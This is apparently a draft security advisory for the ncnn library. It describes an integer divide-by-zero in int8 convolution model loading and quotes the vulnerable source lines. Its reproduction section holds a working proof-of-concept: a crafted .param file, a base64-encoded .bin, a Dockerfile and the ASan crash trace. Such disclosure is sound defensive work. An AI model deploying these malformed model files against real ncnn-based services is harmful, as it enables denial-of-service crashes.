All advisories
Draft

Integer Divide-By-Zero Crashes Int8 Model Loading

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Integer Divide-By-Zero Crashes Int8 Model Loading

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution_im2col_gemm_int8.h:101 in convolution_im2col_gemm_get_optimal_tile_mnk_int8
Sanitizer verdict: FPE on unknown address 0x5935f00deeb0 (pc 0x5935f00deeb0 bp 0x7fff730457b0 sp 0x7fff73045600 T0)

Summary

An int8 Convolution layer whose declared weight count is smaller than kernel_w * kernel_h * num_output makes ncnn derive an input-channel count of zero, which propagates into the int8 SGEMM tile heuristic and produces a division by zero. The process — ncnnoptimize in the captured trace, or any caller of ncnn::Net::load_model() — dies with SIGFPE while loading the model, before inference begins. The attacker only supplies the .param/.bin pair.

Detail

The untrusted fields are the Convolution parameter keys 0 (num_output), 1/11 (kernel size), 6 (weight_data_size) and 8 (int8_scale_term), plus the tag word in the .bin that selects int8 storage. Convolution_x86::create_pipeline_int8_x86 reconstructs the missing input-channel count by dividing, and truncating integer division silently yields zero whenever the weight count is under-declared. That zero becomes K in the GEMM transform, and the tile solver divides by a quantity derived from K.

// src/layer/x86/convolution_x86.cpp:953
int Convolution_x86::create_pipeline_int8_x86(const Option& opt)
{
    const int maxk = kernel_w * kernel_h;
    const int num_input = weight_data_size / maxk / num_output;

// src/layer/x86/convolution_im2col_gemm_int8.h:2642
    const int maxk = kernel_w * kernel_h;

    const int M = outch;
    const int K = inch * maxk;

    int TILE_M, TILE_N, TILE_K;
    convolution_im2col_gemm_get_optimal_tile_mnk_int8(M, 0, K, TILE_M, TILE_N, TILE_K, opt.num_threads);

// src/layer/x86/convolution_im2col_gemm_int8.h:99
        int nn_K = (K + TILE_K - 1) / TILE_K;
#if __AVX512F__
        TILE_K = std::min(TILE_K, ((K + nn_K - 1) / nn_K + 15) / 16 * 16);

The PoC declares 0=2 1=1 2=1 3=1 4=0 5=0 6=1 8=1: num_output = 2, a 1x1 kernel, one weight value and int8_scale_term = 1. The .bin starts with the tag 0x000D4B38, so ModelBin returns the weight as a one-byte-per-element Mat, which is what routes create_pipeline into the int8 branch. num_input is then 1 / 1 / 2 == 0, and K = num_input * maxk == 0.

In the tile solver TILE_K is first clamped to a positive cache-derived value, so nn_K = (0 + TILE_K - 1) / TILE_K evaluates to 0. Line 101 immediately uses nn_K as a divisor in (K + nn_K - 1) / nn_K, executing idiv with a zero divisor and raising #DE. Neither Convolution::load_param nor load_model requires weight_data_size to be a multiple of maxk * num_output, and create_pipeline_int8_x86 does not test num_input before handing it on, so the malformed metadata reaches the arithmetic unchecked.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-integer-divide-by-zero-crashes-int8-model-loading && cd ncnn-poc-integer-divide-by-zero-crashes-int8-model-loading

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data
Convolution conv 1 1 data out 0=2 1=1 6=1 8=1
PARAM

base64 -d > poc.bin <<'BIN'
OEsNAAEAAAAAAIA/AACAPwAAgD8=
BIN

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x55c04b77ceb0 (pc 0x55c04b77ceb0 bp 0x7ffedb385df0 sp 0x7ffedb385c40 T0)
    #0 0x55c04b77ceb0 in convolution_im2col_gemm_get_optimal_tile_mnk_int8 /ncnn/src/layer/x86/convolution_im2col_gemm_int8.h:101
    #1 0x55c04b79419e in convolution_im2col_gemm_transform_kernel_int8 /ncnn/src/layer/x86/convolution_im2col_gemm_int8.h:2648
    #2 0x55c04b975e00 in ncnn::Convolution_x86_avx512::create_pipeline_int8_x86(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:969
    #3 0x55c04b9587ce in ncnn::Convolution_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:290
    #4 0x55c04ab7dc96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
    #5 0x55c04ab7e90a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
    #6 0x55c04ab7ec91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
    #7 0x55c04aa91caf in main /ncnn/tools/ncnnoptimize.cpp:2797
    #8 0x7999e59b31c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x7999e59b328a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x55c04aa11624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/x86/convolution_im2col_gemm_int8.h:101 in convolution_im2col_gemm_get_optimal_tile_mnk_int8
==1==ABORTING

Credit

Zheng Yu @ DepthFirst